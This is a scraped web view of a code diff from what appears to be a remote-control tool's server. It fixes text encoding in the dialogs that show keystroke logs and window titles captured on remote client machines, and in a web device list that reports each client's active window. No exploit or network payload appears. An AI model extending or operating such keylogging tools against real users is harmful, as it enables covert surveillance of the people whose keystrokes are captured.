CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
|
||||||
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
|
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
|
||||||
{
|
{
|
||||||
m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1];
|
m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
|
||||||
|
|
||||||
|
// 子连接从协议扩展字段(byte 2-3)拿到能力位,写入自身的 CAPABILITIES。
|
||||||
|
// 这样 m_ContextObject->SupportsUtf8() 可直接生效,不再依赖 IP 反查主连接。
|
||||||
|
// 老客户端只发 2 字节,GetBYTE 越界返回 0,等同 caps=0 -> 走 CP936 兜底,向后兼容。
|
||||||
|
WORD caps = m_ContextObject->m_DeCompressionBuffer.GetBYTE(2)
|
||||||
|
| (m_ContextObject->m_DeCompressionBuffer.GetBYTE(3) << 8);
|
||||||
|
if (caps != 0) {
|
||||||
|
CString capStr;
|
||||||
|
capStr.Format(_T("%04X"), caps);
|
||||||
|
m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -73,6 +86,32 @@ BOOL CKeyBoardDlg::OnInitDialog()
|
|||||||
|
|
||||||
UpdateTitle();
|
UpdateTitle();
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------
|
||||||
|
// 把 m_edit 重建为 Unicode 类窗口。
|
||||||
|
// 工程是 MBCS,MFC 默认用 A 版 CreateWindowEx 创建子控件,导致即便
|
||||||
|
// 调 SendMessageW(EM_REPLACESEL,...) 系统也会在 W->A 边界用 CP_ACP
|
||||||
|
// 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
|
||||||
|
// 后,控件内部以 Unicode 存储,W 版消息直通,不再走 CP_ACP。
|
||||||
|
// -----------------------------------------------------------------
|
||||||
|
{
|
||||||
|
CRect rc;
|
||||||
|
m_edit.GetWindowRect(&rc);
|
||||||
|
ScreenToClient(&rc);
|
||||||
|
DWORD style = m_edit.GetStyle();
|
||||||
|
DWORD exStyle = m_edit.GetExStyle();
|
||||||
|
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
|
||||||
|
UINT ctrlID = m_edit.GetDlgCtrlID();
|
||||||
|
m_edit.DestroyWindow();
|
||||||
|
HWND hEdit = ::CreateWindowExW(
|
||||||
|
exStyle, L"EDIT", L"", style,
|
||||||
|
rc.left, rc.top, rc.Width(), rc.Height(),
|
||||||
|
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
|
||||||
|
AfxGetInstanceHandle(), NULL);
|
||||||
|
m_edit.Attach(hEdit);
|
||||||
|
if (hFont)
|
||||||
|
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
}
|
||||||
|
|
||||||
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
|
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
|
||||||
|
|
||||||
// 通知远程控制端对话框已经打开
|
// 通知远程控制端对话框已经打开
|
||||||
@@ -110,9 +149,33 @@ void CKeyBoardDlg::AddKeyBoardData()
|
|||||||
{
|
{
|
||||||
// 最后填上0
|
// 最后填上0
|
||||||
m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
|
m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
|
||||||
int len = m_edit.GetWindowTextLength();
|
const char* utf8 = (const char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1);
|
||||||
m_edit.SetSel(len, len);
|
if (!utf8 || !utf8[0])
|
||||||
m_edit.ReplaceSel((TCHAR *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
|
return;
|
||||||
|
|
||||||
|
// 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
|
||||||
|
// 注意:m_ContextObject 是键盘记录子连接,其自身 CAPABILITIES 为空;
|
||||||
|
// helper 内部通过 peer IP 查主连接获取真正的能力位。
|
||||||
|
UINT cp = GetClientEncoding(m_ContextObject);
|
||||||
|
int wlen = MultiByteToWideChar(cp, 0, utf8, -1, NULL, 0);
|
||||||
|
if (wlen <= 1)
|
||||||
|
return;
|
||||||
|
std::wstring wbuf(wlen - 1, L'\0');
|
||||||
|
MultiByteToWideChar(cp, 0, utf8, -1, &wbuf[0], wlen);
|
||||||
|
|
||||||
|
// 全程走 W 版消息直通 Unicode 控件。注意几个坑:
|
||||||
|
// 1) MFC 的 m_edit.SetSel(...) 默认走 ::SendMessage (A 版) 并紧跟一次
|
||||||
|
// EM_SCROLLCARET,时序变成 "SetSel→ScrollCaret→ReplaceSel",即
|
||||||
|
// 先滚到旧末尾、再插入,部分场景控件状态会错乱(光标不在末尾、
|
||||||
|
// 用户手动移动光标后插入位置不对等)。
|
||||||
|
// 2) EM_SETSEL 用 0x7FFFFFFF 表示"末尾",由控件自行 clamp 到当前长度,
|
||||||
|
// 不依赖 WM_GETTEXTLENGTH 计算结果。
|
||||||
|
// 3) ReplaceSel 后再 ScrollCaret,确保滚到 *新* 末尾。
|
||||||
|
HWND hEdit = m_edit.GetSafeHwnd();
|
||||||
|
if (!hEdit) return;
|
||||||
|
::SendMessageW(hEdit, EM_SETSEL, (WPARAM)0x7FFFFFFF, (LPARAM)0x7FFFFFFF);
|
||||||
|
::SendMessageW(hEdit, EM_REPLACESEL, FALSE, (LPARAM)wbuf.c_str());
|
||||||
|
::SendMessageW(hEdit, EM_SCROLLCARET, 0, 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool CKeyBoardDlg::SaveRecord()
|
bool CKeyBoardDlg::SaveRecord()
|
||||||
@@ -129,10 +192,30 @@ bool CKeyBoardDlg::SaveRecord()
|
|||||||
MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
|
MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
// Write the DIB header and the bits
|
|
||||||
CString strRecord;
|
// m_edit 已是 Unicode 控件:用 W 版取宽字符串,转 UTF-8 写入并加 BOM。
|
||||||
m_edit.GetWindowText(strRecord);
|
// 这样保存的文件无视服务端 ACP,记事本/VS Code 等都能自动识别。
|
||||||
file.Write(strRecord, strRecord.GetLength());
|
int wlen = ::GetWindowTextLengthW(m_edit.GetSafeHwnd());
|
||||||
|
std::wstring wbuf;
|
||||||
|
if (wlen > 0) {
|
||||||
|
wbuf.resize(wlen);
|
||||||
|
::GetWindowTextW(m_edit.GetSafeHwnd(), &wbuf[0], wlen + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// UTF-8 BOM
|
||||||
|
const BYTE bom[3] = { 0xEF, 0xBB, 0xBF };
|
||||||
|
file.Write(bom, 3);
|
||||||
|
|
||||||
|
if (!wbuf.empty()) {
|
||||||
|
int u8len = WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
|
||||||
|
NULL, 0, NULL, NULL);
|
||||||
|
if (u8len > 0) {
|
||||||
|
std::string u8(u8len, '\0');
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
|
||||||
|
&u8[0], u8len, NULL, NULL);
|
||||||
|
file.Write(u8.data(), (UINT)u8.size());
|
||||||
|
}
|
||||||
|
}
|
||||||
file.Close();
|
file.Close();
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
@@ -156,7 +239,8 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
} else if (nID == IDM_CLEAR_RECORD) {
|
} else if (nID == IDM_CLEAR_RECORD) {
|
||||||
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
|
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
|
||||||
m_ContextObject->Send2Client(&bToken, 1);
|
m_ContextObject->Send2Client(&bToken, 1);
|
||||||
m_edit.SetWindowText("");
|
// m_edit 是 Unicode 类控件,调 W 版避免 CP_ACP 边界转换
|
||||||
|
::SetWindowTextW(m_edit.GetSafeHwnd(), L"");
|
||||||
} else if (nID == IDM_SAVE_RECORD) {
|
} else if (nID == IDM_SAVE_RECORD) {
|
||||||
SaveRecord();
|
SaveRecord();
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -3,6 +3,7 @@
|
|||||||
|
|
||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
#include "2015Remote.h"
|
#include "2015Remote.h"
|
||||||
|
#include "2015RemoteDlg.h" // GetClientEncoding helper
|
||||||
#include "SystemDlg.h"
|
#include "SystemDlg.h"
|
||||||
#include "afxdialogex.h"
|
#include "afxdialogex.h"
|
||||||
|
|
||||||
@@ -85,6 +86,8 @@ BOOL CSystemDlg::OnInitDialog()
|
|||||||
m_ControlList.InsertColumnL(1, "窗口名称", LVCFMT_LEFT, 420);
|
m_ControlList.InsertColumnL(1, "窗口名称", LVCFMT_LEFT, 420);
|
||||||
m_ControlList.InsertColumnL(2, "窗口状态", LVCFMT_LEFT, 200);
|
m_ControlList.InsertColumnL(2, "窗口状态", LVCFMT_LEFT, 200);
|
||||||
m_ControlList.InsertColumnL(3, "所属进程ID", LVCFMT_LEFT, 100);
|
m_ControlList.InsertColumnL(3, "所属进程ID", LVCFMT_LEFT, 100);
|
||||||
|
// 工程是 MBCS,但下面"窗口名称"列里的标题需要原样显示客户端 UTF-8 内容,
|
||||||
|
// 直接用 LVM_SETITEMTEXTW 写宽字符串(无须依赖控件 Unicode 标志)。
|
||||||
ShowWindowsList();
|
ShowWindowsList();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -170,6 +173,11 @@ void CSystemDlg::ShowWindowsList(void)
|
|||||||
char *szTitle = NULL;
|
char *szTitle = NULL;
|
||||||
bool isDel=false;
|
bool isDel=false;
|
||||||
|
|
||||||
|
// 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
|
||||||
|
// 注意:m_ContextObject 是 WSLIST 子连接,其自身 CAPABILITIES 为空;
|
||||||
|
// helper 内部通过 peer IP 查主连接获取真正的能力位。
|
||||||
|
UINT cp = GetClientEncoding(m_ContextObject);
|
||||||
|
|
||||||
DeleteAllItems();
|
DeleteAllItems();
|
||||||
CString str;
|
CString str;
|
||||||
int i ;
|
int i ;
|
||||||
@@ -181,10 +189,28 @@ void CSystemDlg::ShowWindowsList(void)
|
|||||||
str.FormatL("%5u", *lpPID);
|
str.FormatL("%5u", *lpPID);
|
||||||
CString pidStr = attrs.dwPid ? std::to_string(attrs.dwPid).c_str() : "N/A";
|
CString pidStr = attrs.dwPid ? std::to_string(attrs.dwPid).c_str() : "N/A";
|
||||||
m_ControlList.InsertItem(i, str); // 句柄
|
m_ControlList.InsertItem(i, str); // 句柄
|
||||||
m_ControlList.SetItemText(i, 1, attrs.szTitle); // 标题
|
|
||||||
m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态
|
// 按客户端声明的编码解码到宽字符,用 LVM_SETITEMTEXTW 直接写入,
|
||||||
m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID
|
// 绕开 ANSI -> CP_ACP 回转,即使在德语等非中文 ACP 服务端上中文窗口名也能正常显示。
|
||||||
// ItemData 为窗口句柄
|
std::wstring wTitle;
|
||||||
|
if (attrs.szTitle[0]) {
|
||||||
|
int wlen = MultiByteToWideChar(cp, 0, attrs.szTitle, -1, NULL, 0);
|
||||||
|
if (wlen > 0) {
|
||||||
|
wTitle.resize(wlen - 1);
|
||||||
|
MultiByteToWideChar(cp, 0, attrs.szTitle, -1, &wTitle[0], wlen);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LVITEMW lvItemW = {};
|
||||||
|
lvItemW.mask = LVIF_TEXT;
|
||||||
|
lvItemW.iItem = i;
|
||||||
|
lvItemW.iSubItem = 1;
|
||||||
|
lvItemW.pszText = wTitle.empty() ? const_cast<LPWSTR>(L"") : &wTitle[0];
|
||||||
|
::SendMessageW(m_ControlList.GetSafeHwnd(), LVM_SETITEMTEXTW,
|
||||||
|
(WPARAM)i, (LPARAM)&lvItemW);
|
||||||
|
|
||||||
|
m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态 (ASCII)
|
||||||
|
m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID (ASCII)
|
||||||
|
// ItemData 为窗口句柄;Data[1] 保留原始 UTF-8 字节供排序/右键菜单使用
|
||||||
auto data = new ItemData{ *lpPID, {str, attrs.szTitle, attrs.szStatus, pidStr} };
|
auto data = new ItemData{ *lpPID, {str, attrs.szTitle, attrs.szStatus, pidStr} };
|
||||||
m_ControlList.SetItemData(i, (DWORD_PTR)data); //(d)
|
m_ControlList.SetItemData(i, (DWORD_PTR)data); //(d)
|
||||||
dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1;
|
dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1;
|
||||||
|
|||||||
@@ -1468,8 +1468,24 @@ std::string CWebService::BuildDeviceListJson(const std::string& username) {
|
|||||||
CString version = ctx->GetClientData(ONLINELIST_VERSION);
|
CString version = ctx->GetClientData(ONLINELIST_VERSION);
|
||||||
device["version"] = AnsiToUtf8(version);
|
device["version"] = AnsiToUtf8(version);
|
||||||
|
|
||||||
|
// 活动窗口编码由客户端能力位决定:新客户端是 UTF-8,老客户端是 CP_ACP(默认 936)。
|
||||||
|
// 不能像其它字段那样无脑 AnsiToUtf8——会把新客户端的 UTF-8 字节再当 GBK 双重编码。
|
||||||
CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME);
|
CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME);
|
||||||
device["activeWindow"] = AnsiToUtf8(activeWindow);
|
std::string activeWindowU8;
|
||||||
|
if (!activeWindow.IsEmpty()) {
|
||||||
|
UINT cp = GetClientEncoding(ctx);
|
||||||
|
int wlen = MultiByteToWideChar(cp, 0, activeWindow, -1, NULL, 0);
|
||||||
|
if (wlen > 1) {
|
||||||
|
std::wstring w(wlen - 1, L'\0');
|
||||||
|
MultiByteToWideChar(cp, 0, activeWindow, -1, &w[0], wlen);
|
||||||
|
int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
|
||||||
|
if (u8len > 1) {
|
||||||
|
activeWindowU8.resize(u8len - 1);
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWindowU8[0], u8len, NULL, NULL);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
device["activeWindow"] = activeWindowU8;
|
||||||
device["online"] = true;
|
device["online"] = true;
|
||||||
|
|
||||||
// Add device group to response
|
// Add device group to response
|
||||||
|
|||||||
@@ -60,4 +60,12 @@ public:
|
|||||||
if (caps.IsEmpty()) return false;
|
if (caps.IsEmpty()) return false;
|
||||||
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_V2) != 0;
|
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_V2) != 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 检查客户端是否使用 UTF-8 协议字符串编码。
|
||||||
|
// 无此能力位的老客户端:服务端按 CP_ACP(CP936,覆盖 95% 的简中/英语 ASCII 老客户端)解读。
|
||||||
|
bool SupportsUtf8() const {
|
||||||
|
CString caps = GetClientData(ONLINELIST_CAPABILITIES);
|
||||||
|
if (caps.IsEmpty()) return false;
|
||||||
|
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_UTF8) != 0;
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|||||||
Reference in New Issue
Block a user